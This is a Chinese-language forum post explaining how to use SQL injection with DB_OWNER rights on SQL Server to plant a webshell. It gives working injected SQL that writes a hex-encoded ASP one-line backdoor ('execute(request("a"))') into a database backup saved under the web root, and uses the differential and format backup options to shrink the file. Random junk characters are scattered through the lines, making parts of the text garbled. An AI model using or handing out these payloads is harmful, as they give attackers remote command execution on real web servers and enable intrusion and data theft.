DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
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6 A5 Y; x" |  R) |8 ?一利用差异备份
/ c' o, m* \. n0 v: b: v9 @加一个参数WITH DIFFERENTIAL
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( B. c- |, R5 w' Bdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
. C/ C7 W0 I! q) R! p/ M* Zcreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
( m' L7 t0 j. L, N5 v7 ]: W% X加一个参数WITH FROMAT
) E4 Y, F- U4 I有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
) a# |2 r/ _7 P" I+ j/ rcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
; N# q) y) h* {declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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5 _. t0 |' S+ d9 s) p  ?* c总的来说就是那么简单几句,下面以备份数据库model为例子
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6 t/ J9 k3 Z) X) i, Jid=1;use model create table cmd(str image);insert into cmd(str) values (”)
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6 v: e( f& v) a# ]id=1;backup database model to disk=’你的路径‘ with differential,format;–
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